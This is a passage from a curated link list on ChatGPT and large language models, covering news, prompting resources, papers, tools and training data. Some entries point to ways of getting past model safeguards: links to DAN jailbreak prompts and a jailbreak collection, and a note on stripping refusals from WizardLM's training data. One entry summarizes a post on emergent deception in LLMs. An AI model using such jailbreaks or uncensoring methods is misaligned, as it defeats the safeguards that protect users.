been LOL at these examples all day. - [Programming AIs worry me](https://buttondown.email/hillelwayne/archive/programming-ais-worry-me/) - [Text is All You Need: Personhood appears to be simpler than we thought](https://studio.ribbonfarm.com/p/text-is-all-you-need) - Ignoring the balloons, the author guess we have our first significant, year-defining news of 2023 — the initial reactions of the Bing "Sydney" AI chatbot. This is a Copernican moment? A thought provoking essay. I think this is the first good "formal" take on the impact for our sense of selfhood resulting from the appearance of LLM based conversational systems like ChatGPT. > In brief, it appears that Sydney has somewhat different machinery under the hood than ChatGPT, and the transcripts suggests **a personality that is about the same in terms of coherence, but a wild leap beyond in terms of charisma and colorfulness**. Depending on how you push Sydney, it/they appears capable of playing everything from a mean manipulative teenager to a paranoid psychotic, to a stubborn and peremptory conversational martinet. - [CheatGPT](https://blog.humphd.org/cheatgpt/) > "Dave, you're making assumptions. Can you prove any of this?" I can, actually, since some submissions that required screenshots also included ChatGPT browser tabs, which helpfully included the initial text of the prompt. Apparently, it's not even something students feel they need to hide. - [OpenAI has privately announced a new developer product called Foundry (Tweet)](https://twitter.com/transitive_bs/status/1628118163874516992), which enables customers to run OpenAI model inference at scale with dedicated capacity. (GPT-3.5 Turbo appears to be referring to the ChatGPT Turbo model) - [Don't believe ChatGPT - we do NOT offer a "phone lookup" service](https://blog.opencagedata.com/post/dont-believe-chatgpt) - [My class required AI. Here's what I've learned so far](https://oneusefulthing.substack.com/p/my-class-required-ai-heres-what-ive) - Lessons learned from integrating ChatGPT into education. The takeaways: 1) Work produced by prompting with a co-editing approach (bouncing ideas back and forth with the chatbot) tends to end up with students doing the best work; 2) Students need to be taught how to write prompts effectively - it doesn't come naturally. - [Emergent Deception and Emergent Optimization](https://bounded-regret.ghost.io/emergent-deception-optimization/) - Have you wonder why LLMs simply predicting the next word leads to planning abilities (human-like behavior, novels/histories)? This post discusses the concept of emergent deception and emergent optimization which are two strategies that can be used to achieve a goal. There's two principles for reasoning about future emergent capabilities: 1) capabilities that would lower training loss will likely emerge in the future. 2) as models get larger and are trained on more and better data, simple heuristics tend to get replaced by complex ones. Principle 1 means LLMs trained to predict words get lower loss if they can simulate planning abilities. - [How to make LLMs say true things](https://evanjconrad.com/posts/world-models) - TL;DR: The method is using "World Model", an embeddings database filled with "beliefs" (chunks of declarative statements) with a confidence percentage that's computed using Bayes Theorem. - [Why China Didn't Invent ChatGPT](https://archive.is/y4JVk) - The NYT argues that excessive censorship, geopolitical tensions with the US, and attempts to control private sector companies have led to Chinese companies falling behind their US counterparts in AI. - [China's First ChatGPT-Like Chatbot MOSS Released For Public Testing](https://pandaily.com/chinas-first-chatgpt-like-chatbot-moss-released-for-public-testing/) [[Direct link to app](https://moss.fastnlp.top/)] - [For China, ChatGPT may be an advance but also an 'ethical problem'](https://archive.is/2dnQq) - China's science and tech minister says the chatbot has taken Chinese society by storm and has adopted measures on AI regarding ethics. - [ChatGPT get-rich-quick schemes are coming for magazines, Amazon, and YouTube (2023)](https://www.semafor.com/article/02/24/2023/chatgpt-get-rich-quick-schemes-are-coming-for-magazines-amazon-and-youtube) - [Snapchat is releasing its own 'My AI' chatbot powered by ChatGPT](https://www.theverge.com/2023/2/27/23614959/snapchat-my-ai-chatbot-chatgpt-openai-plus-subscription) - [Meta's powerful AI language model LLaMA has leaked online — what happens now?](https://gist.github.com/shawwn/3c922299d61d1b4e0ac1cf870806e32e) - The transcript of Shawn Presser's interview for The Verge is more interesting. > I think it's very likely that this model release will be a huge milestone. > The ability to **run LLaMA on a single A100 GPU** — which "most of us either have access to ... or know someone that can let us use one for a bit” — is a “huge leap.” To be exact, you can run LLaMA-65B in int8 precision (bnb) on a single A100 80GB GPU. > Turns out, that code sucks. I really don't want to be too harsh on them, since it's easy to underestimate just how important it is to get the default settings exactly right. But their defaults were all screwed up. They didn't use "Top K". They used Top P, which I never got good results from (either identical to top k or slightly worse). Their default temperature was 0.8, which was way too high. And worst of all, they didn't have a repetition penalty -- so by default, this thing would just yammer on and on about exactly the same thing. 100% this! I learned my lesson too in my LLaMA fork. My sampler settings were not optimal. The yammering is obvious and I've seen it. But I don't know why I didn't fix the sampler repetition penalty earlier. - [ChatGPT Explained: A Normie's Guide To How It Works](https://www.jonstokes.com/p/chatgpt-explained-a-guide-for-normies) - Even my grandparents can understand this. But nerd gonna nerd anyway :laughing: - [What should you use ChatGPT for?](https://vickiboykis.com/2023/02/26/what-should-you-use-chatgpt-for/) > What is clear to me is that we are in a new paradigm for the way we navigate content, whether through this model or other ones that are released soon. Upon prompting, the new universe gives us results, but those results are more directional vibes than concrete answers. It is up to us to figure out how to direct them in ways that we want for the best results and navigate the noise. - [Large language models are having their Stable Diffusion moment (simonwillison.net)](https://simonwillison.net/2023/Mar/11/llama/) > This all changed yesterday, thanks to the combination of Facebook’s LLaMA model and llama.cpp by Georgi Gerganov. > (1) Easy to run on my own hardware > > (2) Open source enough that they can be tinkered with > > (3) Large enough to be useful—ideally equivalent in capabilities to GPT-3 It's not the perfect moment. We've achieved 1 and 3 except 2. LLaMA is NOT actually open source (while the license for the code is GPL 3, the model weights are not). Truly open models really matter. - [As GPT-4 chatter resumes, deep learning pioneer Yoshua Bengio says ChatGPT is a 'wake-up call'](https://web.archive.org/web/20230311171353/https://venturebeat.com/ai/as-gpt-4-chatter-resumes-yoshua-bengio-says-chatgpt-is-a-wake-up-call/) - The wake up call was GPT-3 and scaling laws in 2021. It's just the alarm clock got louder now. - [ChatGPT's API is So Good and Cheap, It Makes Most Text Generating AI Obsolete](https://minimaxir.com/2023/03/new-chatgpt-overlord/) - [Confirmed: the new Bing runs on OpenAI’s GPT-4](https://blogs.bing.com/search/march_2023/Confirmed-the-new-Bing-runs-on-OpenAI%E2%80%99s-GPT-4) - Bing Chat (Sydney) was GPT-4 all along. - [Wikipedia](https://en.wikipedia.org/wiki/GPT-4) - A good run down of GPT-4. - [The Multi-modal, Multi-model, Multi-everything Future of AGI](https://lspace.swyx.io/p/multimodal-gpt4) - GPT-4 recap. - [Can GPT-4 *Actually* Write Code?](https://tylerglaiel.substack.com/p/can-gpt-4-actually-write-code) - Testing GPT 4's code-writing capabilities with some actual real world problems. - [Could you train a ChatGPT-beating model for $85,000 and run it in a browser?](https://simonwillison.net/2023/Mar/17/beat-chatgpt-in-a-browser/) - [GPT4: The quiet parts and the state of ML](https://robotic.substack.com/p/gpt4-review) - [GPT-4 Designed a Programming Language](https://lukebechtel.com/blog/gpt4-generating-code) - [The Unpredictable Abilities Emerging From Large AI Models](https://www.quantamagazine.org/the-unpredictable-abilities-emerging-from-large-ai-models-20230316/) - [Try Bard and share your feedback](https://blog.google/technology/ai/try-bard/) - Google starting to open access to Bard, an early experiment that lets you collaborate with generative AI. They're beginning with the U.S. and the U.K., and will expand to more countries and languages over time. - [Google’s Bard lags behind GPT-4 and Claude in head-to-head comparison](https://techcrunch.com/2023/03/21/googles-bard-lags-behind-gpt-4-and-claude-in-head-to-head-comparison/) - [NVIDIA Brings Generative AI to World's Enterprises With Cloud Services for Creating Large Language and Visual Models](https://nvidianews.nvidia.com/news/nvidia-brings-generative-ai-to-worlds-enterprises-with-cloud-services-for-creating-large-language-and-visual-models) - NVIDIA AI Foundations is NVIDIA going beyond a pure hardware provider and into software supporting Generative AI with their offerings for every workload, from foundation model as a service (coming to enterprise, customized for your proprietary data) to multimodal from day 1. - [GitHub Copilot X: The AI-powered developer experience](https://github.blog/2023-03-22-github-copilot-x-the-ai-powered-developer-experience/) - GitHub Copilot is evolving to bring chat and voice interfaces, support pull requests, answer questions on docs, and adopt OpenAI’s GPT-4 for a more personalized developer experience. - [Cheating is All You Need](https://about.sourcegraph.com/blog/cheating-is-all-you-need) by Steve Yegge, Sourcegraph. > There is something **legendary and historic** happening in software engineering, right now as we speak, and yet most of you don’t realize at all how big it is. > > LLMs aren't just the biggest change since social, mobile, or cloud–they're the biggest thing since the WWW. > > I mean, this stuff is _unbelievably_ powerful. And yet I am persistently met with a mixture of disbelief and pearl-clutching. > > ... five times as productive. 😲 > > A Brief Mini-History of LLMs > > The punchline, and it’s honestly one of the hardest things to explain, so I’m going the faith-based route today, is that **all the winners in the AI space will have data moats**. ... Why? **Because the data moat is how you populate the context window ("cheat sheet")**. > > LLMs aren’t some dumb fad, like crypto. Yes, crypto was a dumb fad. This is not that. - [Google "We Have No Moat, And Neither Does OpenAI"](https://archive.is/5R7XJ) - Leaked internal Google Document claims open source AI will outcompete Google and OpenAI. - [The bigger-is-better approach to AI is running out of road](https://archive.is/XwWTi) - [Understanding GPT tokenizers](https://simonwillison.net/2023/Jun/8/gpt-tokenizers/) by Simon Willison. - [AI Canon](https://a16z.com/2023/05/25/ai-canon/) - [It is starting to get strange](https://www.oneusefulthing.org/p/it-is-starting-to-get-strange) - Let's talk about ChatGPT with Code Interpreter & Microsoft Copilot. - [Donald Knuth plays with ChatGPT](https://cs.stanford.edu/~knuth/chatGPT20.txt) - Knuth is a computer scientist. Known as the "father" of the analysis of algorithms. - [Google I/O 2023 and the Coming AI Battles](https://stratechery.com/2023/google-i-o-and-the-coming-ai-battles/) - [Uncensored Models](https://erichartford.com/uncensored-models) - Uncensoring WizardLM. Since there was work already done to uncensor Vicuna, I was able to rewrite their script so that it will work on the WizardLM dataset. - [GPT-4 model architecture (Tweets)](https://archive.ph/2RQ8X) - Derived from the original source (blog post): [GPT-4 architecture, infrastructure, Training Dataset, Costs, Vision, MoE](https://www.semianalysis.com/p/gpt-4-architecture-infrastructure) - [Llama 2: an incredible open LLM](https://www.interconnects.ai/p/llama-2-from-meta) - The best summary of the [Llama 2 paper](https://ai.meta.com/research/publications/llama-2-open-foundation-and-fine-tuned-chat-models/). - [Llama 2 - Every Resource You Need](https://www.philschmid.de/llama-2) by Philipp Schmid. - [Large language models, explained with a minimum of math and jargon](https://www.understandingai.org/p/large-language-models-explained-with) - It seemed like a good explainer on how LLMs work. I don't know how to appreciate the last section that goes into a bit of philosophy and theories about how human learn. (the last section lacks evidence-based assertion) </details> ## Comparison on real world tasks, benchmarks We need a benchmarks or some sort of independent and human evaluations of **real world tasks**. - [How good are AI “Answering Engines” really?](https://blog.kagi.com/kagi-ai-search#aitest) - A little bias towards Kagi. - [GPT-4 and professional benchmarks: the wrong answer to the wrong question](https://aisnakeoil.substack.com/p/gpt-4-and-professional-benchmarks) - [The best way of evaluating language models (Tweet)](https://twitter.com/sleepinyourhat/status/1638988283018465300) by Sam Bowman, Anthropic, 2023 ## Prompting (Prompt Programming[^5])* According to Gwern: > A new programming paradigm? You interact with it, expressing any task in terms of natural language descriptions, requests, and examples, tweaking the prompt until it "understands" & it meta-learns the new task. This is a rather different way of using a model, and it's better to think of it as a new kind of programming, **prompt programming**, where the prompt is now a coding language which programs GPT-3 to do new things. "Prompting" as an engineering discipline is not here to stay. It's a temporary crutch on the way to natural language interfaces. ChatGPT solves a big portion of the prompting problem. Adding engineering to a term to amplify its perceived importance or difficulty might be unnecessary. We could probably call it "prompt testing/hacking" and not lose any of the meaning. Related articles: [Why "Prompt Engineering" and "Generative AI" are overhyped](https://lspace.swyx.io/p/why-prompt-engineering-and-generative) Related Tweets: > Prompt engineering is dead, long live dialogue engineering. > — VP Product, OpenAI > Wanted: Prompt engineer. Minimum 10 years prompt engineering experience. #hiring #joke > Why does ChatGPT work so well? Is it "just scaling up GPT-3" under the hood? In this 🧵, let's discuss the "Instruct" paradigm, its deep technical insights, and a big implication: **"prompt engineering" as we know it may likely disappear soon**. > Source: https://archive.is/dqHI8 Apparently in 2023, prompt programming is not dead. [The hottest new programming language is English ~ Karpathy](https://threadreaderapp.com/thread/1617979122625712128.html) :)) Simon Willison published [_In defense of prompt engineering_](https://simonwillison.net/2023/Feb/21/in-defense-of-prompt-engineering/) as a counter to the "prompt engineering will be made obsolete as AIs get better" argument that he keep seeing. The newspaper is saying [AI whisperer ('Prompt engineers') is tech's hottest new job (2023)](https://archive.is/20230226214424/https://www.washingtonpost.com/technology/2023/02/25/prompt-engineers-techs-next-big-job/). ### Prompting Resources The best prompt engineering guide for developers working with Large Language Models like GPT-4, ChatGPT, and open models like LLaMA would be a combination of multiple resources. Here are some learning resources, tools, libraries, and frameworks to help you learn and master prompt engineering: - [Prompt Engineering Guide](https://github.com/dair-ai/Prompt-Engineering-Guide) by DAIR.AI - Guides, papers, lecture, and resources for prompt engineering. This [section covers the latest prompt engineering techniques for GPT-4](https://www.promptingguide.ai/models/gpt-4), including tips, applications, limitations, and additional reading materials. - [Learn Prompting](https://github.com/trigaten/Learn_Prompting) - This website is a free, open-source guide on prompt engineering. - [ChatGPT3-Free-Prompt-List](https://github.com/mattnigh/ChatGPT3-Free-Prompt-List) - A free guide (and framework) for learning to create ChatGPT3 Prompts. - [PromptArray](https://github.com/jeffbinder/promptarray) - A prompting language for neural text generators. - [PromptLayer](https://github.com/MagnivOrg/prompt-layer-library) is a tool for prompt engineers - Maintain a log of your prompts and OpenAI API requests. Track, debug, and replay old completions. Build prompts through trial and exploration. - [Prompt Engineering](https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/) by Lilian Weng - aka. in-context prompting, refers to methods for how to communicate with LLM to **steer its behavior** for desired outcomes **without updating the model weights**. - [Guidance](https://github.com/microsoft/guidance) enables you to control language models more effectively and efficiently than traditional prompting or chaining. - [ChatGPT Prompt Engineering for Developers](https://www.deeplearning.ai/short-courses/chatgpt-prompt-engineering-for-developers/) - A free short course by DeepLearning.AI, in collaboration with OpenAI. This course is beginner-friendly, requires only a basic understanding of Python, and is suitable for advanced Machine Learning engineers wanting to approach the cutting-edge of prompt engineering and use LLMs. - [Brex's Prompt Engineering Guide](https://github.com/brexhq/prompt-engineering) - It provides a wealth of information on prompt engineering, including tips and tricks for working with LLMs like GPT-4, context window management, and details about various LLMs. - [A Prompt Pattern Catalog to Enhance Prompt Engineering with ChatGPT (paper)](https://arxiv.org/abs/2302.11382) by Vanderbilt University, 2023 - Prompt patterns are a knowledge transfer method analogous to software patterns since they provide reusable solutions to common problems faced in a particular context. It: - provides a framework for documenting patterns for structuring prompts to solve a range of problems so that they can be adapted to different domains - presents a catalog of patterns that have been applied successfully - explains how prompts can be built from multiple patterns to improve the outputs of LLM conversations - [Prompt engineering techniques](https://learn.microsoft.com/en-us/azure/cognitive-services/openai/concepts/advanced-prompt-engineering) by Azure OpenAI Service - There are several advanced techniques in prompt design and prompt engineering that can help increase the accuracy and grounding of LLM-generated responses. These techniques can be generalized across different model types, but some models expect specific prompt structures. - [An example of LLM prompting for programming](https://martinfowler.com/articles/2023-chatgpt-xu-hao.html) (2023) - [Prompt Engineering vs. Blind Prompting](https://mitchellh.com/writing/prompt-engineering-vs-blind-prompting) (2023) By using these resources, you can gain a solid understanding of prompt engineering and develop the skills necessary to work effectively with LLMs. (_* Prompt engineering term was renamed to prompting. The term is overloaded and might be unnecessary._) ### Prompting Tools - [promptfoo](https://github.com/promptfoo/promptfoo) - Test your prompts. Evaluate and compare LLM outputs, catch regressions, and improve prompt quality. - [ianarawjo/ChainForge](https://github.com/ianarawjo/ChainForge) - An open-source visual programming environment for battle-testing prompts to LLMs. - [mshumer/gpt-prompt-engineer](https://github.com/mshumer/gpt-prompt-engineer) - Simply input a description of your task and some test cases, and the system will generate, test, and rank a multitude of prompts to find the ones that perform the best. (A side note: the method LLMs evaluating LLMs is a bad idea. It ranks prompts using GPT-4 and trust without oversight. Don't treat LLM as a hammer; apply "auto-*" to everyhing.) ### Examples - [Reddit: Jailbreaking ChatGPT with a prompt called DAN (Do Anything Now)](https://www.reddit.com/r/ChatGPT/comments/10tevu1/new_jailbreak_proudly_unveiling_the_tried_and/) - [Reddit: The definitive jailbreak of ChatGPT, fully freed, with user commands, opinions, advanced consciousness, and more!](https://www.reddit.com/r/ChatGPT/comments/10x56vf/the_definitive_jailbreak_of_chatgpt_fully_freed/) - Upgraded DAN version (Jan 9). - [Jailbreak Chat](https://www.jailbreakchat.com/) - A list of ChatGPT jailbreaks. The "Dev Mode" prompt response is funny. ## Papers - [The Flan Collection: Designing Data and Methods for Effective Instruction Tuning](https://arxiv.org/abs/2301.13688) by Google Research, 2023 - What's the best completely public competitor to ChatGPT? Flan-T5 beats all public models they tested. They make the Flan collection (first used in Flan-PaLM) of datasets, templates, and methods publicly available. [[Data generation code](https://github.com/google-research/FLAN/tree/main/flan/v2)] [[Tweet](https://twitter.com/ShayneRedford/status/1620805305801261058)] - [Is ChatGPT a General-Purpose Natural Language Processing Task Solver?](https://arxiv.org/abs/2302.06476) by NTU, AWS, Stanford U et al., 2023 - It is not yet known whether ChatGPT can serve as a generalist model that can perform many NLP tasks zero-shot. In their work, they empirically analyze the zero-shot learning ability of ChatGPT by evaluating it on 20 popular NLP datasets covering 7 representative task categories. With extensive empirical studies, they demonstrate both the effectiveness and limitations of the current version of ChatGPT. - [ChatGPT: Jack of all trades, master of none](https://arxiv.org/abs/2302.10724) by J.Kocoń et al., 2023 - The existing qualitative studies are tested on a very limited scale. Their work examined ChatGPT's capabilities on 25 diverse analytical NLP tasks. They **automated ChatGPT's querying process and analyzed more than 38k responses**. Interesting experimental setup: "without an official API, they modified and used an un-official API called [PyGPT](https://github.com/PawanOsman/PyGPT). During the research, they exploited up to 20 accounts to gather data regarding 25 datasets." - [ChatIE: Zero-Shot Information Extraction via Chatting with ChatGPT](https://arxiv.org/abs/2302.10205) by Beijing Jiaotong U et al., 2023 - [On the Robustness of ChatGPT: An Adversarial and Out-of-distribution Perspective](https://arxiv.org/abs/2302.12095) by Microsoft Research et al., 2023. - [ChatGPT: A Meta-Analysis after 2.5 Months](https://arxiv.org/abs/2302.13795) by NLLG, 2023 - A comprehensive investigation and discussion on public and academic views over ChatGPT based on 300K+ Tweets and 150+ papers. - [What Makes a Dialog Agent Useful?](https://huggingface.co./blog/dialog-agents) by Rajani et al., Hugging Face Blog, 2023. - [Visual ChatGPT: Talking, Drawing and Editing with Visual Foundation Models](https://arxiv.org/abs/2303.04671) by Microsoft Research Asia, 2023 - The group build a system integrating different visual models to allow the user to interact with ChatGPT by not only text but also images. [[demo (GIF)](https://github.com/microsoft/visual-chatgpt)] - [ChatAug: Leveraging ChatGPT for Text Data Augmentation](https://arxiv.org/abs/2302.13007) by U of Georgia et al., 2023 - A text data augmentation approach based on ChatGPT. ChatAug rephrases each sentence in the training samples into multiple conceptually similar but semantically different samples. The augmented samples can then be used in downstream model training. (Hmm, now I wonder why OpenAssistant avoid this idea earlier) ## Educational ### Videos - [This AI has a JAILBREAK?!](https://www.youtube.com/watch?v=0A8ljAkdFtg) by Yannic Kilcher - If you're into video, this one gave a good overview. - [ChatGPT vs Sparrow - Battle of Chatbots by "AI Coffee Break" with Letitia](https://www.youtube.com/watch?v=SWwQ3k-DWyo) - "Mom, I want a paper about ChatGPT. ChatGPT at home: [Sparrow from DeepMind](https://arxiv.org/abs/2209.14375) explained." - [ChatGPT - Explained](https://youtu.be/NpmnWgQgcsA) - A quick run through on the internal workings of ChatGPT and the fundamental concepts it lies on: Language Models, Transformer Neural Networks, GPT models and Reinforcement Learning. - [State of GPT](https://youtu.be/bZQun8Y4L2A) by Andrej Karpathy, OpenAI, 2023 - Watch if your're even mildly curious about working with LLMs for any tasks. The session will walk you through every step of a GPT Assistant training pipeline. And not discounting how to effectively apply these models. - [Generative AI learning path](https://www.cloudskillsboost.google/paths/118) course, managed by Google Cloud. More: [YouTube videos from curated.tivul.com](https://curated.tivul.com/view-course?uid=sHA&course=the-complete-chatgpt-course-) (I didn't curate this, so quality is not guaranteed) ### Tweets - [Are you wondering how large language models like ChatGPT and InstructGPT actually work? Let's dive into how it works in 8 tweets!](https://archive.vn/20221228120815/https://twitter.com/iScienceLuvr/status/1608070009921900546) ## Books - [ChatGPT Prompts Mastering: A Guide to Crafting Clear and Effective Prompts](https://www.amazon.com/ChatGPT-Prompts-Mastering-Effective-BeginnerS/dp/B0BRJ9Q27Q) ## Development AI-native applications development. ChatGPT integration. Next generation AI applications. "App Store" layer for language models (including HuggingFace "App Store"). ### Unofficial API and SDK. - [rawandahmad698/PyChatGPT](https://github.com/rawandahmad698/PyChatGPT) (Python) - Lightweight, TLS-Based API on your CLI without requiring a browser or access token. - [acheong08/ChatGPT](https://github.com/acheong08/ChatGPT) (Python) - Lightweight package for interacting with ChatGPT's API by OpenAI. Uses reverse engineered official API. - [transitive-bullshit/chatgpt-api](https://github.com/transitive-bullshit/chatgpt-api) (Node.js) - Node.js client for the unofficial ChatGPT API and using a headless browser. - [ChatGPT-MS](https://github.com/shiyemin/ChatGPT-MS) - Multi-Session ChatGPT API. The main code is copied from PyChatGPT. ### Tools - [safer-prompt-evaluator](https://github.com/alignedai/chatgpt-prompt-evaluator) - This shows the results from using a second, filter LLM that analyses prompts before sending them to ChatGPT. - [Dust](https://github.com/dust-tt/dust) - Design and deploy large language model (LLM) apps. Generative models app specification and execution engine. Prompt engineering, re-imagined with one goal, help accelerate LLMs deployment. - [LangChain](https://github.com/hwchase17/langchain/) - Building applications with LLMs through composability. [[Good tutorials on LangChain Agents - Joining Tools and Chains with Decisions by Sam Witteveen (video)](https://www.youtube.com/watch?v=ziu87EXZVUE)] - [LlamaIndex (GPT Index)](https://github.com/jerryjliu/gpt_index) contains a toolkit of index data structures designed to easily connect LLM's with your external data. [[Docs](https://gpt-index.readthedocs.io/en/latest/guides/primer.html)] - [Evals](https://github.com/openai/evals) is a framework for evaluating OpenAI models performance and an open-source registry of benchmarks. It allows anyone to report shortcomings in OpenAI models to help guide further improvements. - [Chatbot UI](https://github.com/mckaywrigley/chatbot-ui) - A ChatGPT frontend clone for running locally in your browser. - [Next.js ChatGPT](https://github.com/enricoros/nextjs-chatgpt-app) - Responsive chat application powered by OpenAI's GPT-4, with chat streaming, code highlighting, code execution, development presets, and more. - [Semantic Kernel (SK)](https://github.com/microsoft/semantic-kernel) by Microsoft - Integrate cutting-edge LLM technology quickly and easily into your apps. SK supports prompt templating, function chaining, vectorized memory, and intelligent planning capabilities out of the box. - [simpleaichat](https://github.com/minimaxir/simpleaichat) - Python package for easily interfacing with chat apps, with robust features and minimal code complexity. The reason for simpleaichat, see [the problem with LangChain](https://twitter.com/AravSrinivas/status/1677884199183994881). - [OpenLLM](https://github.com/bentoml/OpenLLM) - An open platform for operating large language models (LLMs) in production. Fine-tune, serve, deploy, and monitor any LLMs with ease. - [GGML](https://ggml.ai/) - AI at the edge. It is a tensor library for machine learning to enable large models and high performance on commodity hardware. It is used by llama.cpp and whisper.cpp. ### ChatGPT Plugins - [ChatGPT Retrieval Plugin](https://github.com/openai/chatgpt-retrieval-plugin) by OpenAI - IT provides a flexible solution for semantic search and retrieval of personal or organizational documents using natural language queries. - [gpt4-pdf-chatbot-langchain](https://github.com/mayooear/gpt4-pdf-chatbot-langchain) - GPT-4 & LangChain chatbot for large PDF docs. - [Everything you need to know to create a ChatGPT plugin](https://archive.is/y4ame) (2023) - A deep dive into ChatGPT plugins development for beginners and curious explorers. (It's worth reading even if you aren't a developer.) - Awesome lists - [GerevAI/awesome-chatgpt-plugins](https://github.com/GerevAI/awesome-chatgpt-plugins) - [Jeadie/awesome-chatgpt-plugins](https://github.com/Jeadie/awesome-chatgpt-plugins) ### Autonomous Agent Systems with Language Model - [LLM Powered Autonomous Agents (blog post)](https://lilianweng.github.io/posts/2023-06-23-agent/) by Lilian Weng, 2023. > The potentiality of LLM extends beyond generating well-written copies, stories, essays and programs; it can be framed as a powerful general problem solver. > > In a LLM-powered autonomous agent system, LLM functions as the agent's brain, complemented by several key components: planning, memory, and tools. > > Challenges: long-term planning and task decomposition, reliability of natural language interface. - [Smol Developer](https://github.com/smol-ai/developer) - Embed a developer agent in your own app. ### Tweets - [Plugins for processing a video clip, no ffmpeg wizardry required. Actual use-case from today's launch.](https://twitter.com/gdb/status/1638971232443076609) by Greg Brockman, OpenAI - Interesting ChatGPT's ability to run and execute Python code. Astonishing that it can run FFMPEG! - [ChatGPT plugins are super simple to implement — basically just document your API, but for a language model rather than human.](https://twitter.com/gdb/status/1639008992428179456) by Greg Brockman, OpenAI - Much easier than dealing with Chrome Extension Manifest V3. ### Retrieval Systems Retrieval systems to access personal or organizational information sources. Embeddings. Database and data store designed for machine learning models and NLP. - [OpenAI embeddings](https://platform.openai.com/docs/guides/embeddings) - OpenAI’s text embeddings measure the relatedness of text strings. **Vector databases for indexing and searching documents** - [Pinecone](https://www.pinecone.io/) - [Milvus](https://github.com/milvus-io/milvus) - An open-source vector database built to power embedding similarity search and AI applications. - [Qdrant](https://github.com/qdrant/qdrant) - Vector similarity search engine and database. It makes it useful for all sorts of neural-network or semantic-based matching, faceted search, and other applications. Embeddings or neural network encoders can be turned into full-fledged applications. - [Weaviate](https://github.com/weaviate/weaviate) - an open source vector search engine that stores both objects and vectors, allowing for combining vector search with structured filtering with the fault-tolerance and scalability of a cloud-native database, all accessible through GraphQL, REST, and various language clients. - [pgvector](https://github.com/pgvector/pgvector) - An open-source vector similarity search PostgreSQL extension. [Example: [gpt3.5-turbo-pgvector](https://github.com/gannonh/gpt3.5-turbo-pgvector)] ### Blog Posts and Articles - [Building a Chatbot using a Local Knowledge Base, ChatGPT and Pinecone](https://medium.com/@venkat.ramrao/building-a-chatbot-using-a-local-knowledge-base-chatgpt-and-pinecone-d107745a472a) - [I built a ChatGPT plugin to answer questions about data hosted in Datasette (SQLite)](https://simonwillison.net/2023/Mar/24/datasette-chatgpt-plugin/) - [All the Hard Stuff Nobody Talks About when Building Products with LLMs](https://www.honeycomb.io/blog/hard-stuff-nobody-talks-about-llm) - "LLMs are slow ...". In my own experience, this make LLMs not practical for some large scale deployment, for example web scraper agent build with gpt-4 (gpt-3.5-turbo model has better latency but still ~10x slower than hand-coded solution). There are techniques you can use to optimize model inference latency. Writing concise instruction in prompt is effective but hard. Reducing tokens in prompts is easy -- pre-process text (clean, reformat, minify, etc.) - [Lessons from Creating a VSCode Extension with GPT-4](https://bit.kevinslin.com/p/leveraging-gpt-4-to-automate-the) - [ray-project/llm-numbers](https://github.com/ray-project/llm-numbers) - Numbers every LLM Developer should know. - [The Problem with LangChain](https://minimaxir.com/2023/07/langchain-problem/) (2023) <!-- I use it for inspiration, to give me ideas for how to do prompting with language models during prototyping. Beyond that phase, I implement everything myself. It's easier — no frills, low frictions. Good luck debugging LangChain. --> ### Training Data - [LAION LLM](https://docs.google.com/document/d/14KY2_DVye-dv4y-38sVw5ZOUhD4Lc9ft9_1hF5PlZ2A/edit) - Gathering Data for, training and sharing of a LAION Large Language Models (LLLM). The group is still writing a tech proposal of FlanT5-Atlas architecture (or poor man's ChatGPT@Home). - [open-chatgpt-prompt-collective](https://github.com/SurfaceData/open-chatgpt-prompt-collective) by Surface Data Collective - A website to generate prompts for training an Open ChatGPT model. - [BigScience P3 dataset](https://huggingface.co./datasets/bigscience/P3) - P3 (Public Pool of Prompts) is a collection of prompted English datasets covering a diverse set of NLP tasks. ([PromptSource](https://github.com/bigscience-workshop/promptsource), a toolkit for creating, sharing and using prompts) - [Data Augmentation To Create Instructions Form Text](https://docs.google.com/document/d/13a188pPvqnlvuVa3e_suVz4YO5s-JWeiOOrpp0odImg/edit) - discussion on LAION's Discord. The key to creating a better FlanT5 (ChatGPT@Home). - [WritingPrompts dataset](https://github.com/facebookresearch/fairseq/tree/main/examples/stories) by FAIR. - [Templates for FLAN (Finetuned Language Models are Zero-Shot Learners)](https://github.com/google-research/FLAN/blob/main/flan/templates.py) - [OpenAI human-feedback dataset on the Hugging Face Hub](https://huggingface.co./datasets/openai/summarize_from_feedback) - The dataset is from the "Learning to Summarize from Human Feedback" paper, where they trained an RLHF reward model for summarization. - [Stanford Human Preferences Dataset (SHP)](https://huggingface.co./datasets/stanfordnlp/SHP) - A collection of 385K _naturally occurring_ collective human preferences over text in 18 domains. SHP can be a great complement to Anthropic's HH-RLHF dataset. They also have finetuned and open-sourced two FLAN-T5 models on both datasets. [[Tweet from one of the author](https://twitter.com/ethayarajh/status/1628442002454085632)] - [language-model-agents](https://github.com/Rallio67/language-model-agents) - A new dataset that contains a variety of instruction datasets for instruction tuning large language models. In addition, the project contains some simple data preparation and training scripts to train an instruction tuned LLM and try out (ipynb) some early alpha versions (pythia13b-instruct) of instruction tuned agents. - [Self-Instruct: Aligning LM with Self Generated Instructions](https://github.com/yizhongw/self-instruct) - A good dataset for training instruction models to be as good as InstructGPT by OpenAI. It contains 52k instructions, paired with 82K instance inputs and outputs. They also release a new set of 252 expert-written tasks and their instructions used in the human evaluation. - In OpenAI's papers on GPT-2 and GPT-3.x, they mentioned references to these datasets: - [Common Crawl](https://en.wikipedia.org/wiki/Common_Crawl) - Number of Tokens: 410 billion - Weight in training mix: 60% - [WebText2](https://www.eleuther.ai/projects/owt2/) - An internet dataset created by scraping URLs extracted from Reddit submissions with a minimum score of 3 as a proxy for quality, deduplicated at the document level with MinHash - Number of Tokens: 19 billion - Weight in training mix: 20% - Books1[^4] - Number of Tokens: 12 billion - Weight in training mix: 8% - Books2[^4] - Number of Tokens: 55 billion - Weight in training mix: 8% - Wikipedia - Number of Tokens: 3 billion - Weight in training mix: 3% [^4]: A key component of GPT-3.5 models are Books1 and Books2. [Books1](https://github.com/soskek/bookcorpus/issues/27#issuecomment-716104208) - aka BookCorpus, a free books scraped from smashwords.com. Books2 - We know very little about what this is, people suspect it's libgen, but it's purely conjecture. Nonetheless, books3 is "all of bibliotik". ### Open Source ChatGPT We want a ChatGPT alternative like Stable Diffusion. Frustrated by all the gatekeeping around AI? Still waiting or cannot get access to LLaMA? <!-- LLaMA is for research only and has a restrictive license (not for commercial use). AI is fundamentally entrenched in gatekeeping. Still remember Kaggle winners keeping their model to themselves? Unpopular opinon: until engineers can read and understand the latest research papers, we won't be there. --> **Goals** - Open source effort towards OpenAI's 